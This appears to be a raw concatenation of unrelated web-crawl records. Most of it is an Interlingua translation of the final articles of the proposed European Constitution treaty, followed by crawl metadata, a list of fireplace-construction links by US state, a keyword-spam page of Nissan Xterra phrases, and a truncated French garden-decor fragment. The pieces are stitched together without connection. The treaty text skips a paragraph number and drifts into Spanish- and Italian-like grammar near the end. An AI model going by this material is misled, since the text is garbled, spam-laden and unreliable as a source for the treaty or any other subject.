lor action pro proteger le interesses financiari de la Union contra le fraude. Pro iste fin, illos organiza, con le Commission, un collaboration stricte et regular inter le autoritates competente.\n4. Le lege aut lege-quadro europeo stabili le mesuras necessari in le dominios del prevention del fraude que lede le interesses financiari de la Union, et del lucta contra iste fraude in vista de offerer un protection efficace et equivalente in le Statos membros assi como in le institutiones, organos et organismos de la Union. Illo est adoptate post consultation del Tribunal de Contos.\n5. Le Commission, in cooperation con le Statos membros, presenta cata anno al Parlamento Europeo et al Consilio un reporto re le mesuras prendite pro applicar le presente articulo.\nConstitution\/ra 319\nCAPITULO III\nCOOPERATIONES REINFORTIATE\nARTICULO III-416\nLe cooperationes reinfortiate respecta la Constitution et le derecto de la Union. Illos pote prejudicar ni le mercato interior ni le cohesion economic, social et territorial. Illos pote constituer ni un obstaculo ni un discrimination pro le intercambios inter le Statos membros, ni provocar distorsiones de concurrentia inter illos.\nARTICULO III-417\nLe cooperationes reinfortiate respecta le competentias, le derectos et le obligationes del Statos membros que non participa in illos. Istes non est un obstaculo a lor application per le Statos membros que participa in illos.\nARTICULO III-418\n1. Al momento del stabilimento, le cooperationes reinfortiate est aperte a tote le Statos membros, sub reserva de respectar le conditiones eventual de participation fixate per le decision europeo de autorisation. Illos lo est equalmente a qualcunque altere momento, sub reserva de respectar, ultra le conditiones eventual mentionate, le actos jam adoptate in iste quadro. Le Commission et le Statos membros participante in un cooperation reinfortiate essaya promover le participation del plus grande numero possibile de Statos membros.\nConstitution\/ra 320\n2. Le Commission e, al occurrentia, le Ministro de Affaceres Exterior de la Union, informa periodicamente le Parlamento Europeo et le Consilio re le evolution del cooperationes reinfortiate.\nARTICULO III-419\n1. Le Statos membros que desira instaurar inter se un cooperation reinfortiate in un del dominios mentionate in le Constitution, con exception del dominios de competentia exclusive et del politica exterior et de securitate commun, dirige al Commission un requesta in le qual est specificate le dominio de application et le objectivos del cooperation reinfortiate previste. Le Commission pote presentar al Consilio un proposition in iste senso. Si le Commission non presenta un proposition, illo communica re isto le Statos membros concernite.\nLe autorisation pro initiar un cooperation reinfortiate est concedite per un decision europeo del Consilio que decide per proposition del Commission et post approbation del Parlamento Europeo.\n2. Le requesta del Statos membros que desira instaurar inter se un cooperation reinfortiate in le quadro del politica exterior et de securitate commun est dirigite al Consilio. Illo est transmittite al Ministro de Affaceres Exterior de la Union, qui exprime su aviso re le coherentia del cooperation reinfortiate previste con le politica exterior et de securitate commun de la Union, assi como al Commission, que exprime su aviso, in particular re le coherentia del cooperation reinfortiate previste con le altere politicas de la Union. Illo est equalmente transmittite al Parlamento Europeo pro information.\nLe autorisation de initiar un cooperation reinfortiate est concedite per un decision europeo del Consilio, que decide per unanimitate.\nConstitution\/ra 321\nARTICULO III-420\n1. Cata Stato membro que desira participar in un cooperation reinfortiate jam existente in un del dominios mentionate in le articulo III-419(1), notifica su intention al Consilio et al Commission.\nLe Commission, in un termino de quatro menses a partir del data de reception del notification, confirma le participation del Stato membro in question. Illo constata, in le occurrentia, que le conditiones de participation est complite et adopta le mesuras transitori necessari pro le application del actos jam adoptate in le quadro del cooperation reinfortiate.\nTotevia, si le Commission considera que le conditiones de participation non est complite, illo indica le dispositiones a adoptar pro complir los et fixa un termino pro le reexamine del requesta. Al expiration de iste termino, illo reexamina le requesta in conformitate con le procedura mentionate in le secunde parte del paragrapho. Si le Commission considera que le conditiones de participation continua non esser complite, le Stato membro in question pote submitter le question al Consilio, que decide re le requesta. Le Consilio decide conformemente con le articulo I-44(3). Illo pote equalmente adoptar, per proposition del Commission, le mesuras transitori mentionate in le secunde parte del paragrapho.\n2. Cata Stato membro que desira participar in un cooperation reinfortiate jam existente in le quadro del politica exterior et de securitate commun notifica su intention al Consilio, al Ministro de Affaceres Exterior de la Union et al Commission.\nLe Consilio confirma le participation del Stato membro in question post consultation del Ministro de Affaceres Exterior de la Union et post haber constatate, in le occurrentia, que le conditiones de participation est complite. Le Consilio, per proposition del Ministro de Affaceres Exterior de la Union, pote equalmente adoptar le mesuras transitori necessari pro le application del actos jam adoptate in le quadro del cooperation reinfortiate. Totevia, si le Consilio considera que le conditiones de participation non est complite, illo indica le dispositiones a adoptar pro complir los et fixa un termino pro le reexamine del requesta de participation.\nConstitution\/ra 322\nPro le fines del presente paragrapho, le Consilio decide per unanimitate et conformemente con le articulo I-44(3).\nARTICULO III-421\nLe dispensas resultante del application de un cooperation reinfortiate, diverse del dispensas administrative que est destinate al institutiones, est al carga del Statos membros participante, salvo si le Consilio, decidente per unanimitate de tote su membros post consultation del Parlamento Europeo, decide alteremente.\nARTICULO III-422\n1. Quando un disposition de la Constitution que pote esser applicate in le quadro de un cooperation reinfortiate stabili que le Consilio decide per unanimitate, le Consilio, decidente per unanimitate conformemente con le modalitates mentionate in le articulo I-44(3), pote adoptar un decision europeo que stabili que illo decide con majoritate qualificate.\n2. Quando un disposition del Constitution, que pote esser applicate in le quadro de un cooperation reinfortiate, stabili que le Consilio adopta leges aut leges-quadro europeo in conformitate con un procedura legislative special, le Consilio, decidente per unanimitate conformemente con le modalitates mentionate in le articulo I-44(3), pote adoptar un decision europeo que stabili que illo decide in conformitate con le procedura legislative ordinari. Le Consilio decide post consultation del Parlamento Europeo.\n3. Le paragraphos 1 et 2 non est applicate al decisiones que ha implicationes militar aut in le dominio del defensa.\nConstitution\/ra 323\nARTICULO III-423\nLe Consilio et le Commission assecura le coherentia del actiones interprendite in le quadro de un cooperation reinfortiate et le coherentia de iste actiones con le politicas de la Union, et coopera pro iste scopo.\nTITULO VII\nDISPOSITIONES COMMUN\nARTICULO III-424\nTenente conto del situation socio-economic structural de Guadaloupe, le Guyana Francese, Martinica, le Reunion, le Azores, Madeira et le Insulas Canarias, que est aggravate per lor grande distantia, insularitate, superficie reducite, le relievo et le climate difficile, lor dependentia economic de un numero reducite de productos, factores cuje persistentia et combination noce gravemente a lor disveloppamento, le Consilio, per proposition del Commission, adopta leges, leges-quadro, regulamentos et decisiones europeo orientate, in particular, a stabilir le conditiones de application de la Constitution a iste regiones, includite le politicas commun. Illo decide post consultation del Parlamento Europeo.\nLe actos mentionate in le prime parte del paragrapho concerne in particular le politicas doanal et commercial, le politica fiscal, le zonas franc, le politicas re le agricultura et le pisca, le conditiones de approvisionamento de materias prime et de benes de consumo de prime necessitate, le adjutas de Stato et le conditiones de accesso al fundos con scopos structural et al programmas horizontal de la Union.\nConstitution\/ra 324\nLe Consilio adopta le actos mentionate in le prime paragrapho tenente conto del characteristicas et exigentias particular del regiones ultraperipheric, sin nocer al integritate et al coherentia del ordinamento juridic de la Union, includite le mercato interior et le politicas commun.\nARTICULO III 425\nLe Constitution prejudica in nulle maniera le regime del proprietate in le Statos membros.\nARTICULO III-426\nIn cata un del Statos membros, la Union possede le plus ample capacitate juridic que le legislationes national recognosce al personas juridic. Illo pote, in particular, acquirer aut alienar benes mobile aut immobile et comparer in justitia. Pro isto, illo est representate per le Commission. Nonobstante, la Union est representate per cata un del institutiones, in virtute de lor autonomia administrative, pro le questiones relative a lor functionamento.\nARTICULO III-427\nLe lege europeo fixa le Statuto del functionarios de la Union et le regime applicabile al altere agentes de la Union. Illo est adoptate post consultation del institutiones concernite.\nConstitution\/ra 325\nARTICULO III-428\nPro le complimento del cargas que est confidite a illo, le Commission pote colliger tote typo de informationes et proceder a tote le verificationes necessari, intra le limites et conditiones mentionate in un regulamento aut decision europeo adoptate per le Consilio a majoritate simple.\nARTICULO III-429\n1. Sin prejudicio del articulo 5 del protocollo fixante le Statuto del Systema Europeo de bancas central et del Banca Central Europeo, le lege aut lege-quadro europeo fixa le mesuras pro le stabilimento de statisticas, quando isto est necessari pro le complimento del activitates de la Union.\n2. Le stabilimento del statisticas respecta le impartialitate, fidibilitate, objectivitate, independentia scientific, efficacia, rentabilitate et le secreto del informationes statistic. Illo non debe causar cargas excessive pro le operatores economic.\nARTICULO III-430\nLe membros del institutiones de la Union, le membros del Committatos, assi como le functionarios et agentes de la Union, est obligate, mesmo post le cessation de lor functiones, a non divulgar le informationes, que, per lor natura, est protegite per le secreto professional, in particular le informationes relative al interprisas et concernente lor relationes commercial aut le elementos de lor precios.\nConstitution\/ra 326\nARTICULO III-431\nLe responsabilitate contractual de la Union est regite per le derecto applicabile al contracto concernite.\nIn materia de responsabilitate extracontractual, la Union debe conformemente con le principios general commun al derectos del Statos membros, reparar le damnos causate per su institutiones aut per su agentes in le exercitio de lor functiones.\nNonobstante lo que est disponite in le secunde parte del paragrapho, le Banca Central Europeo debe, conformemente con le principios general commun al derectos del Statos membros, reparar le damnos causate per illo mesmo aut per su agentes in le exercitio de lor functiones.\nLe responsabilitate personal del agentes ante la Union est regite per le dispositiones fixante lor Statuto aut le regime que est applicabile a illes.\nARTICULO III-432\nLe sede del institutiones de la Union est fixate de accordo commun per le governamentos del Statos membros.\nARTICULO III-433\nLe Consilio adopta per unanimitate un regulamento europeo fixante le regime linguistic del institutiones de la Union, sin prejudicio del Statuto del Tribunal de Justitia de la Union Europeo.\nConstitution\/ra 327\nARTICULO III-434\nLe Union gaude in le territorio del Statos membros del privilegios et immunitates necessari pro le complimento de su mission intra le conditiones stabilite in le protocollo re le privilegios et immunitates de la Union Europeo.\nARTICULO III-435\nLe Constitution non affecta le derectos et obligationes que resulta de conventiones concludite ante le 1 de januario 1958 o, pro le Statos que ha adherite, ante le data de lor adhesion, inter un aut plure Statos membros, de un parte, et un aut plure Statos tertie, de altere parte.\nIn le mesura in le qual iste conventiones est incompatibile con le Constitution, le Stato membro aut le Statos membros in question recurre a tote le medios appropriate pro eliminar le incompatibilitates constatate. In le caso necessari, le Statos membros se presta adjuta mutual pro attinger iste scopo et adopta, in le occurrentia, un position commun.\nQuando illos applica le conventiones mentionate in le prime parte del paragrapho, le Statos membros tene conto del facto que le avantages concedite in la Constitution pro cata Stato membro est parte integrante de la Union et es, per iste facto, inseparabilemente ligate al creation de institutiones dotate de attributiones per la Constitution et al concession de avantages identic per tote le altere Statos membros.\nConstitution\/ra 328\nARTICULO III-436\n1. Le Constitution non obsta al regulas sequente:\na) Necun Stato membro est obligate a facilitar information cuje divulgation illo considera contrari al interesses essential de su securitate.\nb) tote Stato membro pote prender le mesuras que illo considera necessari pro le protection del interesses essential de su securitate et que se refere al production aut al commercio de armas, de munitiones et de material de guerra; iste mesuras non debe alterar le conditiones del concurrentia in le mercato interior relative al productos non destinate a fines specificamente militar.\n2. Le Consilio pote adoptar, per unanimitate, per proposition del Commission, un decision europeo que modifica le lista del 15 de april 1958 del productos al quales se applica le dispositiones del littera b) del paragrapho 1.\nConstitution\/ra 329\nPARTE IV\nDISPOSITIONES GENERAL et FINAL\nARTICULO IV-437\nAbrogation del tractatos anterior\n1. Le presente tractato stabiliente un Constitution pro Europa abroga le tractato instituente le Communitate Europeo et le Tractato de la Union Europeo, assi como, intra le conditiones mentionate in le protocollo relative al actos et tractatos que ha completate aut modificate le tractato instituente le Communitate Europeo et le Tractato de la Union Europeo, le actos et tractatos que los ha completate aut modificate, sin prejudicio del paragrapho 2 del presente articulo.\n2. Resta abrogate le Tractatos relative al adhesion:\na) del Regno de Danmark, de Irlanda et del Regno Unite de Grande Britannia et Irlanda del Nord,\nb) del Republica Hellenic,\nc) del Regno de Espania et del Republica Portugese,\nd) del Republica de Austria, del Republica de Finlandia et del Regno de Svedia, et\nConstitution\/ra 330\ne) del Republica Tchec, del Republica de Estonia, del Republica de Cypro, del Republica de Lettonia, del Republica de Lituania, del Republica de Hungaria, del Republica de Malta, del Republica de Polonia, del Republica de Slovenia et del Republica Slovac.\nNonobstante:\n- Le dispositiones del Tractatos mentionate in le litteras a) a d) que est reprendite aut mentionate in le Protocollo re le Tractato et acto de adhesion del Regno de Danmark, de Irlanda et del Regno Unite de Grande Britannia et Irlanda del Nord, del Republica Hellenic, del Regno de Espania et del Republica Portugese, del Republica de Austria, del Republica de Finlandia et del Regno de Svedia, continua esser in vigor et conserva lor effectos juridic de conformitate con iste Protocollo;\n- le dispositiones del Tractato mentionate in le littera e) que est reprendite aut mentionate in le Protocollo re le tractato et acto de adhesion del Republica Tchec, del Republica de Estonia, del Republica de Cypro, del Republica de Lettonia, del Republica de Lituania, del Republica de Hungaria, del Republica de Malta, del Republica de Polonia, del Republica de Slovenia et del Republica Slovac, continua esser in vigor et conserva lor effectos juridic de conformitate con iste Protocollo.\nConstitution\/ra 331\nARTICULO IV-438\nSuccession et continuitate juridic\n1. la Union Europeo create per le presente Tractato succede al Union Europeo instituite per le Tractato de la Union Europeo et al Communitate Europeo.\n2. Sin prejudicio del articulo IV-439, le institutiones, organos et organismos existente al data de entrata in vigor del presente Tractato exerce, in lor composition a ille data, lor attributiones in le senso del presente Tractato, tanto longe que non se ha adoptate nove dispositiones in application de iste Tractato aut usque al fin de lor mandato.\n3. Le actos del institutiones, organos et organismos, adoptate super le base del tractatos et actos abrogate per le articulo IV-437, continua esser in vigor. Lor effectos juridic se mantene tanto longe que iste actos non habera essite abrogate, annullate aut modificate in application del presente Tractato. Le mesmo occurre con le conventiones concludite inter Statos membros super le base del Tractatos et actos abrogate per le articulo IV-437.\nLe altere elementos de acquesto communitari et de la Union existente in le momento del entrata in vigor del presente Tractato, in particular le accordos interinstitutional, le decisiones et accordos adoptate per le representantes del governamentos del Statos membros, intra le Consilio, le accordos concludite per le Statos membros relative al functionamento de la Union aut del Communitate aut presentante un ligamine con le action de istes, le declarationes, includite illos facite in le quadro de conferentias intergovernamental, assi como le resolutiones aut altere prisas de position del Consilio Europeo et del Consilio, et illos relative al Union aut al Communitate, que ha essite adoptate de commun accordo per le Statos membros, est equalmente preservate tanto longe que illos non habera essite supprimite aut modificate.\nConstitution\/ra 332\n4. Le jurisprudentia del Tribunal de Justitia del Communitates Europeo et del Tribunal de Prime Instantia relative al interpretation et al application del Tractatos et actos abrogate per le articulo IV-437, assi como le actos et conventiones adoptate pro lor application, continua esser, mutatis mutandis, le fonte del interpretation del derecto de la Union e, in particular, del dispositiones comparabile del Constitution.\n5. Le continuitate del proceduras administrative et jurisdirectional initiate ante le data de entrata in vigor del presente Tractato est garantite intra le respecto al Constitution. Le institutiones, organos et organismos responsabile de iste proceduras adopta tote le mesuras appropriate pro iste effecto.\nARTICULO IV-439\nDispositiones transitori relative a certe institutiones\nLe dispositiones transitori relative al composition del Parlamento Europeo, al definition del majoritate qualificate in le Consilio Europeo aut in le Consilio, includite le casos in le quales non tote le membros participa in le votation, et in le composition del Commission, includite le Ministerio de Affaceres Exterior de la Union, est stabilite in le Protocollo re le dispositiones transitori relative al institutiones et organos de la Union.\nConstitution\/ra 333\nARTICULO IV-440\nCampo de application territorial\n1. Le presente Tractato se applica al Regno de Belgica, al Republica Tchec, al Regno de Danmark, al Republica Federal de Germania, al Republica de Estonia, al Republica Hellenic, al Regno de Espania, al Republica Francese, a Irlanda, al Republica Italian, al Republica de Cypro, al Republica de Lettonia, al Republica de Lituania, al Granducato de Luxemburg, al Republica de Hungaria, al Republica de Malta, al Regno del Paises Basse, al Republica de Austria, al Republica de Polonia, al Republica Portugese, al Republica de Slovenia et al Republica Slovac, al Republica de Finlandia, al Regno de Svedia et al Regno Unite de Grande Britannia et Irlanda del Nord.\n2. Le presente Tractato se applica a Guadaloupe, le Guyana Francese, Martinica, le Reunion, le Azores, Madeira et le Insulas Canarias conformemente con le articulo III-424.\n3. Le paises et territorios de ultramar que figura in le lista in le annexo II est le objecto del regime special de association definite in le parte III, titulo IV.\nLe presente Tractato non se applica al paises et territorios de ultramar que mantene relationes particular con le Regno Unite de Grande Britannia et Irlanda del Nord que non est enumerate in iste lista.\n4. Le presente Tractato se applica al territorios europeo del quales un Stato membro assume le relationes exterior.\nConstitution\/ra 334\n5. Le presente Tractato se applica al Insulas Aland con le exceptiones que figura initialmente in le Tractato mentionate in le articulo IV-437(2)(d), et que se reprende in le titulo V, section 5 del Protocollo relative al Tractatos et actos de adhesion del Regno de Danmark, del Republica de Irlanda et del Regno Unite de Grande Britannia et de Irlanda del Nord, del Republica Hellenic, del Regno de Espania et del Republica Portugese, et del Republica de Austria, del Republica de Finlandia et del Regno de Svedia.\nNonobstante lo que est disponite in le paragraphos 1 a 5:\na) le presente Tractato non se applica al Insulas Feroe;\nb) le presente Tractato non se applica a Akrotiri et Dhekelia, zonas de soveranitate del Regno Unite de Grande Britannia et de Irlanda del Nord in Cypro, que in le mesura necessari pro assecurar le application del regime stabilite initialmente in le Protocollo relative al zonas de soveranitate del Regno Unite de Grande Britannia et de Irlanda del Nord in Cypro annexate al acto de adhesion que est un parte integrante del Tractato mentionate in le articulo IV-437(2)(e), et que se reprende in le parte II, titulo III, del Protocollo relative al Tractato et acto de adhesion del Republica Tchec, del Republica de Estonia, del Republica de Cypro, del Republica de Lettonia, del Republica de Lituania, del Republica de Hungaria, del Republica de Malta, del Republica de Polonia, del Republica de Slovenia et del Republica Slovac;\nc) le presente Tractato se applica al Insulas del Canal et al insula Man solo in le mesura necessari pro assecurar le application del regime stabilite initialmente pro iste insulas per le Tractato mentionate in le articulo IV-437(2)(a), et que se reprende in le titulo II, section 3, del Protocollo relative al Tractatos et actos de adhesion del Regno de Danmark, del Republica de Irlanda et del Regno Unite de Grande Britannia et de Irlanda del Nord, del Republica de Espania et del Republica Portugese, et del Republica de Austria, del Republica de Finlandia et del Regno de Svedia.\nConstitution\/ra 335\n7. Le Consilio Europeo, per initiativa del Stato membro concernite, pote adoptar un decision europeo que modifica le Statuto re la Union de un pais aut territorio danese, francese aut nederlandese mentionate in le paragraphos 2 et 3. Le Consilio Europeo decide per unanimitate, post consultation del Commission.\nARTICULO IV-441\nUniones regional\nLe dispositiones del presente Tractato non obsta al existentia et perfectionamento de la Uniones regional inter Belgica et Luxemburg, assi como inter Belgica, Luxemburg et le Paises Basse, in le mesura in le qual le objectivos de iste uniones regional non est attingite in application de iste Tractato.\nARTICULO IV-442\nProtocollos et annexos\nLe Protocollos et annexos del presente Tractato forma parte integrante de iste Tractato.\nConstitution\/ra 336\nARTICULO IV-443\nProcedura de revision ordinari\n1. Le Governamento de qualcunque Stato membro, le Parlamento Europeo aut le Commission pote presentar al Consilio projectos de revision del presente Tractato. Iste projectos est transmittite per le Consilio Europeo et notificate al parlamentos national.\n2. Si le Consilio Europeo, post consultation del Parlamento Europeo et del Commission, adopta per majoritate simple un decision favorabile al examine del modificationes proponite, le presidente del Consilio Europeo convoca un Convention composito de representantes del parlamentos national, del chefes de Stato aut de governamento del Statos membros, del Parlamento Europeo et del Commission. Le Banca Central Europeo est equalmente consultate in le casos de modificationes institutional in le dominio monetari.\nLe Convention examina le projectos de revision et adopta per consenso un recommendation a un Conferentia del representantes del Governamentos del Statos membros secundo lo que est disponite in le paragrapho 3.\nLe Consilio pote decider per majoritate simple, post approbation del Parlamento Europeo, non convocar un Convention quando le importantia del modificationes non lo justifica. In iste ultime caso, le Consilio Europeo stabili le mandato pro un Conferentia del representantes del Governamentos del Statos membros.\n3. Un Conferentia del representantes del Governamentos del Statos membros est convocate per le Presidente del Consilio con le fin de arrivar de accordo commun al modificationes del presente Tractato.\nLe modificationes entra in vigor post haber essite ratificate per tote le Statos membros conformemente con lor regulas constitutional respective.\nConstitution\/ra 337\n4. Si al fin de un termino de duo annos a partir del signatura del tractato modificante le presente tractato, le quatro quintos del Statos membros ha ratificate iste tractato et si un aut plure Statos membros ha incontrate difficultates pro proceder a su ratification, le question est submittite al Consilio Europeo.\nARTICULO IV-444\nProcedura de revision simplificate\n1. Quando le Parte III dispone que le Consilio decide per unanimitate in un dominio aut in un caso determinate, le Consilio Europeo pote adoptar un decision europeo que autorisa le Consilio a decider per majoritate qualificate in iste dominio aut iste caso.\nLe presente paragrapho non se applica al decisiones que ha implicationes militar aut in le dominio del defensa.\n2. Quando le Parte III dispone que leges aut leges-quadro europeo est adoptate per le Consilio conformemente con un procedura legislative special, le Consilio Europeo pote adoptar un decision europeo que autorisa le adoption de iste leges aut leges-quadro conformemente con le procedura legislative ordinari.\n3. Qualcunque initiativa prendite per le Consilio Europeo super le base del paragraphos 1 aut 2 est transmittite al parlamentos national. In caso de opposition de un parlamento national notificate in un termino de sex menses post iste transmission, le decision europeo mentionate in le paragraphos 1 et 2 non est adoptate. In caso de opposition, le Consilio Europeo pote adoptar iste decision.\nConstitution\/ra 338\nPro le adoption del decisiones europeo mentionate in le paragraphos 1 et 3, le Consilio Europeo decide per unanimitate, post approbation del Parlamento, que se pronuncia per majoritate del membros que lo compone.\nARTICULO IV-445\nProcedura de revision simplificate concernente le politicas et actiones interne de la Union\n1. Le Governamento de qualcunque Stato membro, le Parlamento Europeo aut le Commission pote presentar al Consilio Europeo projectos de revision del totalitate aut de un parte del dispositiones del Parte III, titulo III, relative al politicas et actiones interne de la Union.\n2. Le Consilio Europeo pote adoptar un decision europeo modificante le totalitate aut un parte del dispositiones del Parte III, titulo III. Le Consilio Europeo decide per unanimitate, post consultation del Parlamento Europeo et del Commission, assi como del Banca Central Europeo in le caso de modificationes institutional in le dominio monetari.\nIste decision europeo entra in vigor solo post su approbation per le Statos membros, conformemente con lor regulas constitutional respective.\n3. Le decision europeo mentionate in le paragrapho 2 non pote augmentar le competentias attribuite al Union in le presente Tractato.\nConstitution\/ra 339\nARTICULO IV-446\nDuration\nLe presente Tractato est concludito pro una duration illimitata.\nARTICULO IV-447\nRatification et entrata in vigor\n1. Le presente Tractato est ratificato per las Altas Partes Contractantes, conformemente con lores regulas constitutivas respectivas. Los instrumentos de ratification son depositos presso le governamento de la Republica Italiana.\n2. Le presente Tractato entra in vigor le 1 de novembre 2006, a condition que totos los instrumentos de ratification haian essito depositos, aut si isto non sia le caso, le primo die del secundo mense sequente al deposito del instrumento de ratification del ultimo Stato signatario que complia ista formalitate.\nConstitution\/ra 340\nARTICULO IV-448\nTextos authenticos et traductiones\n1. Le presente Tractato, redigito in un exemplar unico, in linguas germana, anglesa, danesa, espaniola, estoniana, francesa, finnesa, greca, hungara, irlandesa, italiana, lettona, lituana, maltesa, nederlandesa, polonesa, portuguesa, slovaca, slovena, svedesa et tcheca, cujos textos in cata una de istas linguas son equalmente authenticos, sera deposito in los archivos del Governamento Italiano, que remitte una copia certificata conforme a cata uno de los Governamentos de los alteros Statos signatarios.\n2. Le presente Tractato pote esser traducito in qualcunque altera lingua determinata per los Statos membros inter illas que, in virtute del ordine constitutional de istos Statos membros, habean le statuto de lingua official in la totalitate aut in una parte de lor territorio. Le Stato membro concernito facilita una copia certificata de istas traductiones, que seran depositas in los archivos del Consilio.\nIN FIDEM, los plenipotentiarios subsignatos subscriben le presente Tractato.\nFacto in ..........., le ............\nConstitution\/ra 341","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/romanica.wikia.com\/wiki\/Constitution_Europea","date":"2017-04-25T04:35:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120101.11\/warc\/CC-MAIN-20170423031200-00551-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.9986276627,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9986276626586914}","num_words":79279,"character_repetition_ratio":0.135,"word_repetition_ratio":0.085,"special_characters_ratio":0.183,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":1276.3,"cluster_detection":-1} +{"text":"|Fireplace Construction in Alabama||Fireplace Construction in Alaska||Fireplace Construction in Arizona|\n|Fireplace Construction in Arkansas||Fireplace Construction in California||Fireplace Construction in Colorado|\n|Fireplace Construction in Connecticut||Fireplace Construction in Delaware||Fireplace Construction in District Of Columbia|\n|Fireplace Construction in Florida||Fireplace Construction in Georgia||Fireplace Construction in Hawaii|\n|Fireplace Construction in Idaho||Fireplace Construction in Illinois||Fireplace Construction in Indiana|\n|Fireplace Construction in Iowa||Fireplace Construction in Kansas||Fireplace Construction in Kentucky|\n|Fireplace Construction in Louisiana||Fireplace Construction in Maine||Fireplace Construction in Maryland|\n|Fireplace Construction in Massachusetts||Fireplace Construction in Michigan||Fireplace Construction in Minnesota|\n|Fireplace Construction in Mississippi||Fireplace Construction in Missouri||Fireplace Construction in Montana|\n|Fireplace Construction in Nebraska||Fireplace Construction in Nevada||Fireplace Construction in New Hampshire|\n|Fireplace Construction in New Jersey||Fireplace Construction in New Mexico||Fireplace Construction in New York|\n|Fireplace Construction in North Carolina||Fireplace Construction in North Dakota||Fireplace Construction in Ohio|\n|Fireplace Construction in Oklahoma||Fireplace Construction in Oregon||Fireplace Construction in Pennsylvania|\n|Fireplace Construction in Rhode Island||Fireplace Construction in South Carolina||Fireplace Construction in South Dakota|\n|Fireplace Construction in Tennessee||Fireplace Construction in Texas||Fireplace Construction in Utah|\n|Fireplace Construction in Vermont||Fireplace Construction in Virginia||Fireplace Construction in Washington|\n|Fireplace Construction in West Virginia||Fireplace Construction in Wisconsin||Fireplace Construction in Wyoming|","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/fireplace-concepts.com\/fireplace-construction","date":"2017-10-17T13:22:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187821189.10\/warc\/CC-MAIN-20171017125144-20171017145144-00065.warc.gz","language":"ina","language_score":0.4180472195,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"ina_Latn_score\": 0.4180472195148468, \"eng_Latn_score\": 0.2961878776550293, \"crs_Latn_score\": 0.10893212258815765, \"fij_Latn_score\": 0.027179569005966187, \"slv_Latn_score\": 0.019897371530532837, \"sco_Latn_score\": 0.016776451840996742, \"dag_Latn_score\": 0.010780411772429943}","num_words":467,"character_repetition_ratio":0.55,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.557,"perplexity_score":17573.7,"cluster_detection":-1} +{"text":"Sitemap Gallery X xterra car vehicle photo in 2011 xterra cargo spacexterra pro 4x pro nissan xterra pro 4x off road lightsxterra car xterra car pricexterra car x 2010 xterra cargo spacexterra car side rear 2002 xterra cargo spacexterra car off road 2003 xterra cargo coverxterra pro 4x pro nissan xterra pro 4x wheels for salexterra car off road used cars in xterra cargo rackxterra pro 4x pro 4 6 speed mt lifted us 2012 nissan xterra pro 4x tire sizexterra pro 4x pro xterra pro 4x off roadxterra car 2008 nissan xterra carmaxxterra pro 4x bid nissan xterra pro 4x review 2012xterra pro 4x pro 2011 xterra pro 4x lift kitxterra pro 4x pro nissan xterra pro 4x lockerxterra car this guy gets it image credit 2015 xterra cargo matxterra car pro 1 2007 xterra cargo spacexterra car nissan xterra used car pricesxterra pro 4x pro in new xterra pro 4x tire pressurexterra pro 4x pro photo 1 anchorage 2012 nissan xterra pro 4x wheel sizexterra pro 4x pro anchorage 2011 nissan xterra pro 4x off road lightsxterra car xterra roof rack stickerxterra car for sale at h town car sales in xterra roof rack diameterxterra pro 4x used pro in ca 2015 nissan xterra pro 4x wheelsxterra car used xterra cargo mat canadaxterra car in red brawn from 1 xterra cargo matxterra car used xterra cargo spacexterra pro 4x pro manual nissan xterra pro 4x review 2012xterra car off road xterra cargo spacexterra pro 4x certified owned auto pro for sale xterra pro 4x lockerxterra pro 4x pro 2013 nissan xterra pro 4x tire sizexterra pro 4x pro 2012 xterra pro 4x tire sizexterra car car images 2007 xterra cargo spacexterra car off road 1 2008 xterra cargo coverxterra pro 4x pro 4 xterra pro 4x wheels for salexterra car for sale at drive automotive in nissan xterra cargo net installxterra car automatic s 0 2004 xterra cargo dimensionsxterra car image 1 of pro 4 xterra roof rack capacityxterra car automatic s 1 2013 xterra cargo coverxterra pro 4x suspension lift 3 pro black aggressive 1 outside fender xterra pro 4x leveling kitxterra car x 2004 xterra cargo dimensionsxterra car xterra cargo mat canadaxterra car auto car led light bulbs interior kit for white xterra rubber cargo matxterra car vehicle photo in co 2013 xterra cargo coverxterra pro 4x pro area dealer serving new and used dealership serving beach xterra pro 4x off road reviewxterra pro 4x used pro in ca 2013 nissan xterra pro 4x tire sizexterra pro 4x the pro is a rugged and off road capable 2011 xterra pro 4x lift kitxterra pro 4x pro leather one owner 2012 xterra pro 4x reviewxterra car the may be gone but its not forgotten by car buyers and 2015 nissan xterra cargo matxterra car 2007 xterra cargo matxterra pro 4x pro for sale in 2014 xterra pro 4x tire sizexterra car used cars in cars xterra cargo spacexterra car used cars in post falls id xterra roof cargo netxterra pro 4x used pro auto pro co nissan xterra pro 4x review 2013xterra pro 4x used pro nissan xterra pro 4x wheel sizexterra pro 4x used pro pa nissan xterra pro 4x review 2012","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/veronaopen.net\/ns\/x\/","date":"2018-09-18T15:14:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267155561.35\/warc\/CC-MAIN-20180918150229-20180918170229-00459.warc.gz","language":"ina","language_score":0.4456028044,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.44560280442237854, \"lat_Latn_score\": 0.11277023702859879, \"goh_Latn_score\": 0.10082557052373886, \"frp_Latn_score\": 0.05585826560854912, \"eus_Latn_score\": 0.03314577415585518, \"sco_Latn_score\": 0.03150390461087227, \"srd_Latn_score\": 0.026638057082891464, \"eng_Latn_score\": 0.02540183626115322, \"knc_Latn_score\": 0.024857740849256516, \"tzj_Latn_score\": 0.010905823670327663, \"dag_Latn_score\": 0.010497083887457848}","num_words":955,"character_repetition_ratio":0.256,"word_repetition_ratio":0.207,"special_characters_ratio":0.239,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.444,"perplexity_score":10029.5,"cluster_detection":-1} +{"text":"deco jardin recup deco jardin recup gratuit beau daccoration deco jardin recup gratuit 97 saint denis salon du deco jardin recup 